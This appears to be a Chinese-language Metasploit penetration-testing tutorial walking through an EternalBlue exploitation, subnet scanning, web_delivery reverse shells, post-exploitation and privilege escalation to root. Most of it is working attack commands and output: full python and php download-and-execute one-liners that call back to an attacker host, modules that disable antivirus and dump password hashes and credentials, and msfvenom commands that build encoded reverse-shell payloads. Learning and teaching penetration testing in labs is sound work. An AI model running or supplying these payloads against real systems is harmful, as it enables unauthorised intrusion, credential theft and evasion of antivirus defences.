Metasploit

Metasploit Framework(MSF)是一款開源安全漏洞監測工具,該工具已附帶數千個已知的軟體漏洞,且仍在保持更新。 Metaploit可以用於資訊收集、漏洞探測、漏洞利用等滲透測試的全流程,還可以用msfvenom產生木馬並做免殺

Metasploit目前提供了三種使用者使用介面

  • GUI模式 :msfgui圖形化介面工具可輕鬆點選滑鼠,輸入目標 IP 位址,就可以使用 Metasploit 強大功能滲透進入目標系統 。
  • console終端機模式: 命令列介面,提供互動的命令列模式
  • CLI模式:msfcli 雖然和msfconsole一樣同為命令列介面,但是他不提供互動的命令列模式,直接透過命令列執行輸出結果,直接呼叫輔助模組和攻擊模組對目標進行滲透攻擊,更為高效便捷。


攻擊操作流程

使用ms17_010_eternalblue漏洞對192.168.10.42進行滲透 

msf6 > search ms17_010_eternalblue
...omit...
   0  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
...omit...
msf>  use exploit/windows/smb/ms17_010_eternalblue  
msf exploit(windows/smb/ms17_010_eternalblue)> set payload windows/x64/meterpreter/reverse_tcp  
msf exploit(windows/smb/ms17_010_eternalblue)> set RHOST 192.168.10.42  
msf exploit(windows/smb/ms17_010_eternalblue)> set LHOST 192.168.10.37   
msf exploit(windows/smb/ms17_010_eternalblue)> set lport 1377  
msf exploit(windows/smb/ms17_010_eternalblue)> exploit   
[*] Started reverse TCP handler on 192.168.10.37:1377
...omit...
[*] Meterpreter session 1 opened (192.168.10.37:1337 -> 192.168.10.42:49159) at 2023-0-3-31
meterpreter> 

成功滲透後會進入meterpreter,可開始操作目標主機

上述操作相關說明如下

  • search < keyword> #查詢漏洞
    search ssh 查詢 ssh相關漏洞
    search type:exploit name:ssh 查詢exploit類型同時也是ssh的漏洞
    search cve:CVE-2017-8464 查詢指定cve漏洞
    search path:linux 查詢linux目錄下的漏洞
  • use <exploit> #使用指定的的漏洞
  • info    #查看這個漏洞的資訊
  • set payload < payload>  #設定攻擊載重
  • show options  #檢視模組需要設定的參數
  • set RHOST < target >   #設定被攻擊的目標
    指定多目標 ex: set rhosts 127.0.0.1 127.0.0.2
    CIDR網段 ex: set rhosts 127.0.0.1/24
    讀取目標清單 ex: set rhosts file:/home/kali/list
  • set LHOST < IP>   #設定攻擊載重參數LHOST,也就是我們的主機,用來接收從目標機彈回來的shell
  • set lport < Port>  #設定攻擊載重參數lport,也就是我們主機的端口,反彈shell到這個端口
  • exploit  #進行攻擊

在後滲透階段中,用meterpreter操蹤目標主機的過程大致如下

meterpreter > sysinfo  
meterpreter > shell    
...omit...
C:\Windows\system32>
C:\Windows\system32> exit   
meterpreter > 
meterpreter >  background   
[*] Backgrounding session 1...
msf exploit(windows/smb/ms17_010_eternalblue)>
msf exploit(windows/smb/ms17_010_eternalblue)> sessions -l   
Active sessions
===============
Id Name Type ...omit...
-- ---- ----
1       meterpreter x64/windows ....omit...
msf exploit(windows/smb/ms17_010_eternalblue)> session 1   
[*] Starting interaction with 1...
meterpreter > 

上述操作相關說明如下

  • sysinfo  #查看目標主機訊息
  • shell    #切換到目標主機的Windows cmd_shell裡面shell
  • exit #從目標主機shell退出到meterpreter
  • background #從meterpreter退出MSF框架
  • sessions -l #看前面所取得的meterpreter_shell 會話
  • session 1 #輸入session [id號]即可進入回應的meterpreter_shell中


MSF6大模組

exploit 滲透攻擊模組

測試者利用它來攻擊一個系統,程序,或服務,以獲得開發者意料之外的結果。常見的有記憶體溢出,網站程式漏洞利用,配置錯誤exploit。

exploits總的來說共分為兩類溢出(exploit)攻擊方法:

  • 主動溢出是針對目標主機的漏洞主動的進行攻擊以獲得控制權限,
  • 被動溢出是針對目標主機被動的監聽然後獲得相應的操作。

Exploit共分為13種,分別為:ais、bsdi、dialup、freebsd、hpux、irix、linux、multi、netware、osx、solaris、unix、windows。

encoder 編碼器模組

將指令重新編碼,用以實現反檢測功能、指令順利執行等

在metasploit中內建了27種encode模組,可對metasploit中的exploit進行編碼(encode),以避免防毒軟體偵測。

payload 攻擊載荷模組

由一些可動態運行在遠端主機上的程式碼組成

當攻擊成功使會執行的程序,例如執行reverse shell或bind shell,或在目標機器上執行有限指令的程式。

aux 輔助模組

用於實現輔助攻擊,如連接埠掃描工具、口令猜測破解、敏感資訊嗅探等

post 後滲透攻擊模組

在滲透攻擊取得目標系統遠端控制權之後,在受控系統中進行各式各樣的後滲透攻擊動作,例如獲取敏感資訊、進一步拓展、實施跳板攻擊等。

nops 空指令模組

以產生緩衝區填充的非操作性指令


Auxiliary

輔助探測模組不會直接在攻擊機和靶機之間建立訪問,它們只負責執行掃描、嗅探、指紋識別等相關功能以輔助滲透測試。

模組路徑/usr/share/metasploit-framework/modules/Auxiliary

常見操作參數說明

  • use #使用指定的輔助模組
  • show options #查看這個模組所需設定的訊息
  • set rhosts 設定需要探測的遠端目標
  • exploit  #進行攻擊


使用smb_ms17_010漏洞偵測模組對192.168.10.30-192.168.10.50網段的電腦進行檢查

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > 
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (scanner/smb/smb_ms17_010):
...omit...

msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.10.30-192.168.10.50
rhosts => 192.168.10.30-192.168.10.50
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit
[*] 192.168.10.30-192.168.10.50:445 - Scanned 3 of 21 hosts (15% complete)
[*] 102.168.10.45:445  - Host is likely VULNERABLE to MS17-010! - Windows Server 2008
...omit...
[*] 192.168.10.30-192.168.10.50:445 - Scanned 21 of 21 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) >


Exploit

exploit就是簡稱exp,就是對漏洞進行攻擊的程式碼。

exploit漏洞利用模組路徑:/usr/share/metasploit-framework/modules/exploits

該路徑下依不同作業系統將漏洞分類,在用不同服務分類,漏洞代碼通常以.rb結尾,因為metasploit是用ruby寫的


使用web_delivery製作反向shell 

建立一個反向shell能連回192.168.0.12:4444

msf> use exploit/multi/script/web_delivery   
msf exploit(multi/script/web_delivery)>  set srvhost 192.168.0.12   
msf exploit(multi/script/web_delivery)>  set lhost 192.168.0.12   
msf exploit(multi/script/web_delivery)>  exploit
[*] Started reverse TCP handler on 192.168.0.12:4444
[*] Using URL: http://192.168.0.12:8080/Q8n42gkTx
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],formlist=('urlopen',));r=u.urlopen('http://192.168.0.12:8080/Q8n42gkTx');exec(r.read());"
msf exploit(multi/script/web_delivery)> 

在目標主機192.168.0.111網頁上,將以下反向shell的語法url編碼後注入有command injection漏洞的參數

python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],formlist=('urlopen',));r=u.urlopen('http://192.168.0.12:8080/Q8n42gkTx');exec(r.read());"

接著就會啟用反向shell連回192.168.0.12:4444,MSF也會捕捉到反向shell連回來的訊息,接著就可利用反向shell操控目標主機

msf exploit(multi/script/web_delivery)> 
[*] 192.168.0.111 web_delivery - Delivering Payload
[*] Meterpreter session 1 opened (192.168.0.12:4444 -> 192.168.0.111:36871) ...omit...
msf exploit(multi/script/web_delivery)> sessions 
Active sessions
===============
Id Name Type ...omit...
-- ---- ----
1       meterpreter python/python ....omit...
msf exploit(windows/smb/ms17_010_eternalblue)> session 1   #输入session 1即可进入响应的meterpreter_shell中
[*] Starting interaction with 1...
meterpreter >

更換web_delivery的meterpreter

multi/script/web_delivery預設是用python,也可以用set payload換別的,例如改用php如下

msf exploit(multi/script/web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery)> exploit
[-] Handler failed to bind to 192.168.0.12 :4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).

由於剛剛己經用了python,所以192.168.0.12 :4444己經被用了,可用以下查詢並刪除

msf exploit(multi/script/web_delivery) > jobs -l
Jobs
====
  Id  Name                                Payload                         Payload opts
  --  ----                                -------                         ------------
  2   Exploit: multi/script/web_delivery  python/meterpreter/reverse_tcp  tcp://192.168.0.12:4444
msf exploit(multi/script/web_delivery) > jobs -k 2
msf exploit(multi/script/web_delivery)> exploit
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.0.12:8080/RL7db9kqFYjy5', false, stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]])));"


Payload

攻擊載荷是我們期望在目標系統在被滲透攻擊之後完成的實際攻擊功能的程式碼,成功滲透目標後,用於在目標系統上執行的任意命令。

模組路徑:/usr/share/metasploit-framework/modules/payloads

可透過show payloads 查看目前漏洞模組下所有的payload

msf6 exploit(unix/webapp/wp_admin_shell_upload) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/generic/custom                                       normal  No     Custom Payload
   1   payload/generic/shell_bind_aws_ssm                           normal  No     Command Shell, Bind SSM (via AWS API)
   2   payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/ssh/interact                                 normal  No     Interact with Established SSH Connection
   5   payload/multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   6   payload/multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   7   payload/php/bind_perl                                        normal  No     PHP Command Shell, Bind TCP (via Perl)
   8   payload/php/bind_perl_ipv6                                   normal  No     PHP Command Shell, Bind TCP (via perl) IPv6
   9   payload/php/bind_php                                         normal  No     PHP Command Shell, Bind TCP (via PHP)
   10  payload/php/bind_php_ipv6                                    normal  No     PHP Command Shell, Bind TCP (via php) IPv6
   11  payload/php/download_exec                                    normal  No     PHP Executable Download and Execute
   12  payload/php/exec                                             normal  No     PHP Execute Command
   13  payload/php/meterpreter/bind_tcp                             normal  No     PHP Meterpreter, Bind TCP Stager
   14  payload/php/meterpreter/bind_tcp_ipv6                        normal  No     PHP Meterpreter, Bind TCP Stager IPv6
   15  payload/php/meterpreter/bind_tcp_ipv6_uuid                   normal  No     PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
   16  payload/php/meterpreter/bind_tcp_uuid                        normal  No     PHP Meterpreter, Bind TCP Stager with UUID Support
   17  payload/php/meterpreter/reverse_tcp                          normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   18  payload/php/meterpreter/reverse_tcp_uuid                     normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   19  payload/php/meterpreter_reverse_tcp                          normal  No     PHP Meterpreter, Reverse TCP Inline
   20  payload/php/reverse_perl                                     normal  No     PHP Command, Double Reverse TCP Connection (via Perl)
   21  payload/php/reverse_php                                      normal  No     PHP Command Shell, Reverse TCP (via PHP)


payload依執行內容可分為2種

Single:

是一種完全獨立的payload,而且使用起來就像執行calc.exe一樣簡單,例如新增一個系統使用者或刪除一份檔案。由於Single Payload是完全獨立的,因此它們有可能會被類似netcat這樣的非Metasploit處理工具所捕捉到。
例如:Payload/Windows/powershell_bind_tcp

Stager:

這種Payload負責建立目標用戶與攻擊者之間的網路連接,並下載額外的元件或應用程式。

一種常見的Stager Payload就是reverse_tcp,它可以讓目標系統與攻擊者建立一條tcp連接,讓目標系統主動連接我們的連接埠(反向連接)。
例如Payload/Windows/meterprer/reverse_tcp

另一種常見的是bind_tcp,它可以讓目標系統開啟一個tcp監聽器,而攻擊者隨時可以與目標系統進行通訊(正向連接)。
例如Payload/Windows/meterprer/bind_tcp


payload依執行階段可分為2種

根據有無stage可以在做分類,stage是Stager Payload下的Payload元件,這種payload可以提供更進階的功能,而且沒有大小限制。

stage

payload/windows/shell/bind_tcp 屬於stage模式, 由一個stager(bind_tcp)和一個stage(shell)組成

payload/windows/x64/meterpreter/reverse_tcp 屬於stage模式,屬於分階段shellcode

stageless

payload/windows/shell_bind_tcp 没有stage的single payload

payload/windows/x64/meterpreter_reverse_tcp 没有stage的reverse_tcp,也稱為stageless模式


Meterpreter

Meterpreter是Metasploit Framework中的一種後滲透工具,屬於stage payload。它是一種動態可擴展的Payload,可以透過網路進行功能擴展。 Meterpreter的工作原理是基於記憶體DLL注入的概念。它能夠建立一個新進程並呼叫注入的DLL來讓目標系統運行注入的DLL檔案。特點如下

  • Meterpreter完全駐留內存,沒有寫入到磁碟。
  • Meterpreter注入的時候不會產生新的進程,並且可以輕鬆的移植到其他正在運行的進程。
  • 預設情況下,Meterpreter的通訊是加密的,所以很安全。
  • 擴展性,許多新的特徵模組可以被載入。

在使用上只要選擇有/meterpreter/的payloads即可,例如Windows/meterpreter/reverse_tcp


POST

後滲透模組主要用於取得目標主機系統遠端控制權後,進行一系列的後滲透攻擊動作。

對於windows的目標,常見用法如下

run post/windows/manage/migrate # 自動進程遷移
run post/windows/manage/killav #關閉防毒軟體
run post/windows/manage/enable_rdp #開啟遠程桌面服務
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/checkvm #查看目標是否在虛擬機上
run post/windows/gather/enum_logged_on_users #列舉目前登錄的用戶
run post/windows/gather/enum_applications #列舉應用程序
run post/windows/gather/credentials/windows_autologin
run post/windows/gather/smart_hashdump #dump出所有用戶的hash


訪問文件系統

使用meterpreter時,可用以下指令

meterpreter > pwd #查看目前目錄
meterpreter > cd #切換目標目錄;
meterpreter > cat #讀取文件內容;
meterpreter > rm #刪除文件;
meterpreter > edit #使用vim編輯文件
meterpreter > ls #取得目前目錄下的檔案;
meterpreter > mkdir #新建目錄;
meterpreter > rmdir #刪除目錄;
meterpreter > download file # 指令可以幫助我們從目標系統下載文件
meterpreter > upload file # 指令則能夠向目標系統上傳文件


使用漏洞提權

如果己經在meterpreter內,可用以下方式檢查目標主機有那些漏洞可提權

meterpreter > run post/multi/recon/local_exploit_suggester 
[*] 192.168.0.111 - Collecting local exploits for x86/windows...
[*] 192.168.0.111 - 31 exploit checks are being tried...
[+] 192.168.0.111 - exploit/linux/local/ptrace_traceme_pkexec_helper: The target appears to be vulnerable.
[+] 192.168.0.111 - exploit/linux/local/sudo_baron_samedit: The target appears to be vulnerable. sudo 1.8.21.2 is a vulnerable build.
[*] Post module execution completed

如果還沒進去shell,可用以下方式指定要檢查的session

msf > use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set session 1
msf post(local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION          1                yes       The session to run this module on.
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits

msf post(local_exploit_suggester) > run

[*] 192.168.0.111 - Collecting local exploits for x64/linux...
[*] 192.168.0.111 - 31 exploit checks are being tried...
[+] 192.168.0.111 - exploit/linux/local/sudo_baron_samedit: The target appears to be vulnerable. sudo 1.8.21.2 is a vulnerable build.
...omit...
[*] Post module execution completed

發現session 1的主機有exploit/linux/local/sudo_baron_samedit問題,針對這個漏洞提權

msf > use exploit/linux/local/sudo_baron_samedit
msf exploit(linux/local/sudo_baron_samedit) > set session 1
msf exploit(linux/local/sudo_baron_samedit) > run
...omit...
meterpreter >
meterpreter > shell
whoami
root

msfvenom

攻擊操作流程簡介如下

1.準備監聽主機

先在msf中準備好php的反向shell監聽主機,並設定主機IP和port為172.16.1.100:4321,multi/handler可支援多個反向shell連回來

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 172.16.1.100
lhost => 172.16.1.100
msf exploit(multi/handler) > set lport 4321
lport => 4321
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.1.100:4321

2.準備reverse shell

製作一個php反向shell, 執行後會連回172.16.1.100:4321, 並使用base64編碼, 輸出格式為f

root@drd:~# msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.1.100 lport=4321 -e php/base64 -f raw > payload.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1507 (iteration=0)
php/base64 chosen with final size 1507
Payload size: 1507 bytes

在payload.php內的頭和尾分別加入<?php 和?>

3.利用漏洞上傳

透過漏洞上傳payload.php並執行,就會連回172.16.1.100:4321,而msfconsole也會收的訊息

[*] Sending stage (37775 bytes) to 172.16.1.102
[*] Meterpreter session 1 opened (172.16.1.100:4321 -> 172.16.1.102:40115) at 2018-10-18 11:29:19 -0500

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
Meterpreter : php/linux

補充:常用的反向shell指令

linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f elf > rev_shell.elf

windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f exe > rev_shell.exe

php msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<Port> -f raw > rev_shell.php

asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<Port> -f asp > rev_shell.asp

python msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<Port> -f raw > rev_shell.py


refer

https://www.offsec.com/metasploit-unleashed/windows-post-gather-modules
https://www.rapid7.com/blog/post/2015/08/11/metasploit-local-exploit-suggester-do-less-get-more
https://zhuanlan.zhihu.com/p/610772424
https://blog.51cto.com/jayjaydream/5947626
https://cn-sec.com/archives/1963017.html 生成木馬方法
https://www.freebuf.com/articles/system/227461.html 免殺方法